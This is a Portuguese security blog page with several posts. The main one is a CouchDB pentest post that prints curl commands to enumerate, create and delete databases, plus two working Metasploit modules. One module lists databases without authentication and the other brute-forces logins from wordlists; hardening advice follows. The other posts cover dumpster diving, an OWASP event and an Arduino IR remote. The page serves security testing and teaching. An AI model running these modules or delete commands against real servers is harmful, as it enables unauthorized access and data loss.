sexta-feira, 26 de abril de 2013

CouchDB - For Fun and Profit

O que é CouchDB?

CouchDB[1] é um de banco de dados orientado a documentos, uma implementação de NoSQL que pode ser acessado através de sua API JavaScript Object Notation (JSON)[2] RESTful. O projeto, atualmente é desenvolvido na plataforma Erlang OTP[3] devido à sua ênfase em tolerância a falhas.

Uma lista de empresas que utilizam o CouchDB para o desenvolvimento de softwares pelo mundo, pode ser visualizada no site do desenvolvedor[4].


Características.

Cada documento tem sua identificação única no banco de dados, e o CouchDB oferece uma RESTfull HTTP API para ler e atualizar (adicionar, atualizar, editar, excluir) os documentos do banco de dados.

Sua porta de utilização é a 5984 sob o protocolo TCP. O daemon responsável por sua execução é o "beam", que faz parte do Erlang OTP. Conforme figura abaixo.




Por padrão, CouchDB instala todos seus recursos (exemplo: apt-get install couchdb) sem exigir o cadastro de senha para se autenticar em funções vitais do software, fazendo com que os administradores/desenvolvedores assumam essa tarefa.

O CouchDB disponibiliza suas respostas em clear-text, possibilitando ataques do tipo Man-in-The-Middle[5], conseguindo facilmente furtar dados importantes que estão trafegando entre o servidor e o cliente, um exemplo clássico, seria capturar o usuário e senha para se autenticar posteriormente, já que a aplicação utiliza sistema básico de autenticação (Basic Authentication), visualizar os nomes das databases, usuários etc.


Acessando os recursos do CouchDB com o cURL.

Com o utilitário de linha de comando cURL, podemos realizar basicamente as 4 funções principais para manusear documentos e views no CouchDB. Vejamos alguns exemplos:

1 - Para listar os databases existentes.
# curl -X GET http://192.168.0.64:5984/_all_dbs
2 - Criar um novo database.
# curl -X PUT http://192.168.0.64:5984/new_db
3 - Criando um documento de design.
# curl -X PUT http://192.168.0.64:5984/new_db/_design/app --data-binary @design.json
4 - Adicionando um documento vazio para poder visualizar o "design document" que acabamos de criar.
curl -X POST http://192.168.0.64:5984/new_db -d '{}' -H "Content-Type:application/json"
5 - Para visualizar.
curl http://192.168.0.64:5984/new_db/_design/app/_view/foo
6 - Criando um usuário chamado zezinho.
# curl -X PUT http://192.168.0.64:5984/_users/org.couchdb.user:zezinho -d '{"name":"zezinho", "password":"S3nhaS3cr3t4", "roles":[], "type":"user"}'
7 - Listando usuários.
# curl http://192.168.0.64:5984/_users/_all_docs
8 - Excluindo um database.
# curl -X DELETE http://192.168.0.64:5984/new_db


Criando um script para o Metasploit

Para facilitar o trabalho durante os testes de intrusão, desenvolvi um script para o metasploit, onde você conseguirá realizar todas as ações possibilitando a automação da análise. Seu uso é simples, basta definir o endereço do host remoto (RHOST), o método (GET, PUT, POST ou DELETE) e sua ação (TARGETURI). Em seu padrão, o módulo vem configurado para enumerar as databases existentes no servidor a ser testado, bastando apenas, definir o host remoto (RHOST), confirmar se a aplicação roda na porta padrão (5984) e executar o comando "run".

Script couchdb_enum.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'CouchDB Enum Utility',
            'Description'    => %q{
                Send a "send_request_cgi()" to enumerate databases and your values on CouchDB (Without authentication by default)
            },
            'Author'         => [ 'espreto <robertoespreto[at]gmail.com>' ],
            'License'        => MSF_LICENSE
            ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
                OptEnum.new('HTTP_METHOD', [true, 'HTTP Method, default GET', 'GET', ['GET', 'POST', 'PUT', 'DELETE'] ]),
                OptString.new('USERNAME', [false, 'The username to login as']),
                OptString.new('PASSWORD', [false, 'The password to login with'])
            ], self.class)
        end

    def run
        username = datastore['USERNAME']
        password = datastore['PASSWORD']

        uri = normalize_uri(datastore['TARGETURI'])
            res = send_request_cgi({
                'uri'      => uri,
                'method'   => datastore['HTTP_METHOD'],
                'authorization' => basic_auth(username, password),
                'headers'  => {
                    'Cookie'   => 'Whatever?'
                }
        })

        temp = JSON.parse(res.body)
        results = JSON.pretty_generate(temp)

        if res.nil?
            print_error("No response for #{target_host}")
        elsif (res.code == 200)
            print_good("#{target_host}:#{rport} -> #{res.code}")
            print_good("Response Headers:\n\n #{res.headers}")
            print_good("Response Body:\n\n #{results}\n")
        elsif (res.code == 403) # Forbidden
            print_error("Received #{res.code} - Forbidden to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        elsif (res.code == 404) # Not Found
            print_error("Received #{res.code} - Not Found to #{target_host}:#{rport}")
            print_error("Response from server:\n\n #{results}\n")
        else
            print_status("#{res.code}")
            print_status("#{results}")
        end

    rescue ::Exception => e
        print_error("Error: #{e.to_s}")
        return nil
    end
end

Veja um exemplo de saída do script com a opção TARGETURI definida com o valor /_users/_all_docs.



Analisando o CouchDB com autenticação.

Abaixo um novo script para o metasploit, que realiza o brute-force de usuário e senha, baseando-se em uma wordlist. Por padrão, já é especificada uma wordlist presente no metasploit, bastando apenas especificar o endereço remoto do CouchDB (RHOST) e confirmar a porta padrão (5984). Mas nada lhe impede de utilizar uma wordlist especialmente criada por você, basta especificar o path deste arquivo.

Script couchdb_login.rb
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::Report
    include Msf::Auxiliary::AuthBrute
    include Msf::Auxiliary::Scanner

    def initialize(info={})
        super(update_info(info,
            'Name'           => 'CouchDB Login Utility',
            'Description'    => %{
                This module attempts brute force to login to a CouchDB.
            },
            'Author'         =>

                [
                    'espreto <robertoespreto[at]gmail.com>'
                ],
            'License'        => MSF_LICENSE
        ))

        register_options(
            [
                Opt::RPORT(5984),
                OptString.new('URI', [true, "URI for CouchDB. Default here is /_users/_all_docs", "/_users/_all_docs"]),
                OptPath.new('USERPASS_FILE',  [ false, "File containing users and passwords separated by space, one pair per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_userpass.txt") ]),
                OptPath.new('USER_FILE',  [ false, "File containing users, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_users.txt") ]),
                OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
                    File.join(Msf::Config.install_root, "data", "wordlists", "http_default_pass.txt") ])
            ], self.class)
    end

    def run_host(ip)

        user = datastore['USERNAME'].to_s
        pass = datastore['PASSWORD'].to_s

        vprint_status("#{rhost}:#{rport} - Trying to login with '#{user}' : '#{pass}'")


            res = send_request_cgi({
                'uri'    => datastore['URI'],
                'method' => 'GET',
                'authorization' => basic_auth(user, pass)
            })

            return if res.nil?
            return if (res.headers['Server'].nil? or res.headers['Server'] !~ /CouchDB/)
            return if (res.code == 404)

            if [200, 301, 302].include?(res.code)
                vprint_good("#{rhost}:#{rport} - Successful login with '#{user}' : '#{pass}'")
            else
                vprint_error("#{rhost}:#{rport} - Failed login with '#{user}' : '#{pass}'")
                print_status("Brute-forcing... >:-} ")

                each_user_pass do |user, pass|
                    do_login(user, pass)
                end
            end
        rescue ::Rex::ConnectionError
            vprint_error("'#{rhost}':'#{rport}' - Failed to connect to the web server")
    end

    def do_login(user, pass)
        vprint_status("Trying username:'#{user}' with password:'#{pass}'")
        begin
            res = send_request_cgi(
            {
                'uri'       => datastore['URI'],
                'method'    => 'GET',

                'ctype'     => 'text/plain',
                'authorization' => basic_auth(user, pass)
            })
            if res and res.code != 200                 vprint_error("Failed login. '#{user}' : '#{pass}' with code #{res.code}")                 return :skip_pass             else                 print_good("Successful login. '#{user}' : '#{pass}'")                 report_hash = {
                    :host   => datastore['RHOST'],                     :port   => datastore['RPORT'],                     :sname  => 'couchdb',                     :user   => user,                     :pass   => pass,                     :active => true,                     :type => 'password'}                 report_auth_info(report_hash)                 return :next_user             end         rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED, ::Errno::ETIMEDOUT             print_error("HTTP Connection Failed, Aborting")                 return :abort         end         rescue ::Exception => e             print_error("Error: #{e.to_s}")             return nil     end end


Aumentando a segurança do CouchDB.

Para diminuir os riscos, recomendamos aplicar as seguintes medidas para sua proteção.

Utilizando o futon[6], você pode acessar a url http://IP_DO_COUCHDB:5984/_utils que acessará o gerenciador web do CouchDB.

1 - Criar um usuário administrador no servidor clicando no botão "Fix this!", localizado no canto inferior direito.

2 - Criar um usuário no-admin e atribuí-lo (por nome ou papel) para ser um usuário administrador do banco de dados em específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon, quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

3 - Criar um usuário non-admin no CouchDB e atribuí-los (por nome ou papel) para ser apenas leitor (read) no banco de dados em algum banco de dados específico. Isso pode ser feito através do ícone "Segurança" no topo do gerenciador Futon quando você está em um banco de dados específico. Ou então criar este non-admin através do HTTP API.

4 - Criar um usuário non-admin no CouchDB e criar um documento de design de banco de dados que inclui uma função de validação, especificamente em uma propriedade "validate_doc_update" no documento de design. O valor dessa propriedade é uma função (que você escreve) para verificar um nome de usuário ou regra no argumento userCtx que é passado para a função específica, assim poderia alertar um erro na função se o usuário ou a regra não é quem pode escrever no banco de dados.

5 - Como medida adicional de proteção, o CouchDB disponibiliza a autenticação via Cookie, bastando enviar uma requisição para a API com o usuário e senha já presentes no mesmo. Por padrão, cada token tem sua a duração de 10 minutos.

Estas e outras dicas importantes podem ser visualizadas no CouchDB Security[7], disponível no próprio site do desenvolvedor.


Parte 2 do Post:

CouchDB - For Fun and Profit

Ataques SSRF? Execução remota de comandos? Tudo via CouchDB?
Essas e outras perguntas interessantes serão respondidas no próximo post. =)


Não deixem de assinar a newsletter da Conviso[8] para receber as atualizações de novos posts e notícias.

By @espreto

Referências:

[1] http://couchdb.apache.org/
[2] http://www.json.org/
[3] http://www.erlang.org/
[4] http://wiki.apache.org/couchdb/CouchDB_in_the_wild
[5] http://en.wikipedia.org/wiki/Man-in-the-middle_attack
[6] http://wiki.apache.org/couchdb/Getting_started_with_Futon
[7] http://wiki.apache.org/couchdb/Security_Features_Overview
[8] https://www.conviso.com.br/


Leituras adicionais:

http://en.wikipedia.org/wiki/REST
http://en.wikipedia.org/wiki/Create,_read,_update_and_delete

segunda-feira, 15 de abril de 2013

Dumpster Diving - O problema está no lixo

Dumpster Diving[1] é a expressão empregada para descrever o ato de vasculhar o lixo alheio com o objetivo de recuperar algo de valor. Quando focada nos resíduos descartados pelas grandes empresas, essa prática pode render informações de caráter sensível ou sigiloso a pessoas mal intencionadas.

Empresas investem milhões em tecnologias para se manter seguras e em treinamentos para aprender a usar essas novas tecnologias, porém nem todas se preocupam em fornecer o devido treinamento aos funcionários quando o assunto é o descarte adequado de documentos ou qualquer outro tipo de material que contenha informações sensíveis ao funcionamento da organização. Nesses casos, mal sabem elas que no lixo também mora o perigo.

Devo me preocupar com o lixo? Na verdade o problema não é o lixo em si e sim o que vai para ele. O modo com que as empresas descartam arquivos sigilosos pode ser muito perigoso. Imagine essa situação: estratégias para o crescimento de sua empresa vão para o lixo comum que geralmente fica na rua, qualquer um poderia obter essas informações e utilizá-las contra você. Um outro problema é que as empresas tentam economizar reaproveitando folhas que já foram utilizadas para imprimir outras informações, e na maioria dos casos nem olham se tem alguma informação importante contida no verso. Dados que parecem ser irrelevantes como telefone, email, endereço etc, na mão de pessoas que desejam obter algum tipo vantagem ilícita são de grande serventia  para conseguir acessos maiores, como senhas dos servidores. E não são apenas com papéis que devem-se tomar cuidado. Discos rígidos (HDs), pendrives e cartões MicroSD contém muitas informações que, na maioria das vezes podem ser recuperadas totalmente, mesmo após serem formatados.

Esse tipo de ataque é utilizado na engenharia social[2], para conseguir acesso a organização sem utilizar-se de falhas de computadores. Um grande engenheiro social que já usou essa técnica e relata em um dos seus livros[3] é o Kevin Mitnick[4].

Por que não manter esses arquivos dentro da empresa? Simples! O espaço que seria utilizado para guardar esses documentos poderia ser utilizado para outros fins, fora os custos para manter esses arquivos por muitos anos.

Um caso interessante foi de dois estudantes de graduação do Laboratório de Ciência da Computação do Massachusetts Institute of Technology (MIT), Simson Garfinkel e Abhi Shelat. Eles encontraram aproximadamente 5 mil números de cartões de crédito, além de registros pessoais e de empresas, informações médicas e milhares de endereços eletrônicos. Isso tudo quando vasculharam 158 discos descartados[5].

Uma série que retrata a engenharia social é a Tiger Team[6], que tenta se infiltrar nas organizações e utilizam muito da engenharia social incluído o Dumpster Diving, a série é um pouco antiga e pode ser encontrada no Youtube.

A Clavis que é uma parceira da Conviso, executou a primeira edição do War Trashing Day, que visa demostrar a importância no descarte de informações. No video[7], podemos ver que em pouco tempo foi encontrado dados considerados sigilosos como nomes completos, Cpfs, assinaturas etc.

Como descartar corretamente

Para documentos como papeis, o método mais utilizado é o triturador que é uma forma barata e de fácil acesso. Outra opção são empresas que trabalham com incineração dos documentos, um método mais caro porem efetivo.

E para os do tipo hardware, como Discos rígidos (HDs) o recomendado é sobrescrever totalmente o equipamento. Uma opção é a ferramenta Darik’s Boot and Nuke[8] um disco de boot com um utilitário que apaga os dados sobrescrevendo cada setor do disco com dados aleatórios várias vezes. Pode se utilizar também a incineração, mas como comentado anteriormente o método é pouco acessível para a maioria das empresas.
Referências:


Links Úteis:


sábado, 6 de abril de 2013

OWASP Latam Tour 2013.


Nos dias 25 e 26 de Março aconteceu na UP- Universidade Positivo em Curitiba o OWASP Latam Tour Curitiba 2013. O evento foi patrocinado pela Conviso Application Security.

No dia 25 aconteceu um treinamento ministrado pelo CTO da Conviso e líder do capitulo OWASP em Curitiba, Wagner Elias.

Dia 26 aconteceram seguintes palestras:
  • OWASP: Quem é e o que fazemos? Por: Wagner Elias
  • Desafios, Tendências e Inovações em Segurança de Aplicações Por: Rafael B. Brinhosa
  • Entendo como funciona um Web Application Firewall Por: Rodrigo Montoro
  • Emissão de certificados digitais- a perspectiva do usuário final  Por: Bruno Ribeiro e Andre Ortiz
Galeria de fotos do evento:

 

 

 

segunda-feira, 1 de abril de 2013

Hacking com controle remoto da sua TV


Sempre que ouvimos algo de Hacking logo olhamos diretamente para segurança de aplicações talvez algo com foco em corrupção de memória, ou então algo relacionado a Web. Bom, na real a palavra Hacking pode relacionar-se a qualquer forma inteligente de se resolver um problema, ou em outras palavras, se relaciona a soluções tanto incomuns, isso nos diz que eletrônica também esta dentro desse estereótipo.

Como nos “artigos” anteriores não foi visto algo entorno de eletrônica (algo empírico), então rumo a algo diferente, simples e onde qualquer pessoa pode reproduzir: sabe aquele controle remoto daquela TV velha? Podemos usar ele em qualquer computador apenas utilizando um microcontrolador ligado a um receptor de infra-vermelho , quem sabe para ajudar a automatizar algumas tarefas como controlar um ventilador (vai precisar de relê), atualizar aquele seu servidor com apenas um botão do controle e um shellscript, passar slides de uma apresentação etc.

O que vamos precisar ?

1- Computador com algum Unix Like (nos testes foi usado um Fedora Linux)
1- Controle remoto(no meu caso um samsung, o modelo “AA59-00469A”)

1- Arduino nano 12,00 USD
1- IR recv (vamos usar o “1838B”) 2,00 USD
3 -Jumpers 1,00 USD
1- Breadboard 2,50 USD


Total: 17,50 USD

 
Tente seguir a imagem (imagem feita no Fritzing).

Então:

Fio verde seria terra(GND)
Fio laranja seria 5v
Fio amarelo seria pino 6(entrada , vai passar os dados para o arduino)
USB conectado no arduino(geralmente se tem um FTDI).


Por que não usar um attiny, PIC etc?

Gosto de tentar pensar como MacGyver: quanto mais simples e mais barato melhor. Se um cardaço e uma caneta resolver o problema, então para que complicar as coisas? Iriamos perder tempo tentando corroer PCB, fazendo testes etc (talvez seja nobre corroer o PCB em algo para ser feito em produção).

Fazendo Mapeamento de um controle remoto

Feito como planejado, agora precisamos preparar o Software. Suponhamos que já tenha IDE do Arduino, então só precisamos da biblioteca para lidar com a decodificação de entradas do sinal do controle remoto.

Para tal feito:
$ mv Arduino-IRremote ArduinoRemote; sudo cp -rf ArduinoRemote/ /usr/share/arduino/libraries

Então se tudo estiver OK na IDE do Arduino irá poder ver exemplos de códigos com controle remoto
na aba “File”.

Antes de desenvolver nosso código precisamos fazer o mapeamento do controle remoto que vai ser usado. Cada botão do controle representa um endereço diferente, e isso varia de controle para controle.

 
Passamos o código para o Arduino e então monitoramos a comunicação serial (onde esta circulado de laranja na imagem). Em seguida apertamos as teclas do controle remoto das quais queremos mapear, e anotamos os endereços.

Exemplo: ao apertar a tecla do controle “1”, nos retorna o endereço “E13DDA28”.

Feito o mapeamento, vamos fazer o programa para leitura da porta serial, para isso na teoria basta executar um syscall open() no dispositivo “/dev/ttyUSB0”(dependendo das condições do sistema pode variar) e ir usando read() para cada entrada de dado.

Só ler entrada e interpretar cada endereço não vai ser suficiente, seria interessante passar slides de uma apresentação! Para isso vamos automatizar entradas do teclado como se fosse usuário, então vamos usar o X11. De forma sanar tal problema temos algumas bibliotecas chamadas libXtst e libX11.

Para instalar:

Distribuições rpm like:
$ yum install libXtst-devel libX11-devel

Distribuições deb like:
$ apt-get install libXtst-dev libX11-dev

Para obter o código:

Repare onde foi implementado endereço de cada tecla do controle:


Compilamos o código:
$ gcc IR_remote.c -o IR_remote -lX11 -lXtst -Wall

Então executamos e apontamos para o dispositivo onde se encontra o Arduino:
$ ./IR_remote /dev/ttyUSB0

Abra sua apresentação, e use seu controle remoto para passar os slides...

Um vídeo mostrando seu funcionamento :





Conclusão

Isso só foi uma das muitas atividades que podemos automatizar usando controle remoto.
Note que no botão “3” do nosso programa faz tocar uma música em MP3. No contexto de introdução ao hacking de controle remotos, com este artigo, já se pode fazer muito. Talvez no futuro próximo possamos ver como fazer um Jammer IR, ou mímico de controles remotos.

Referências :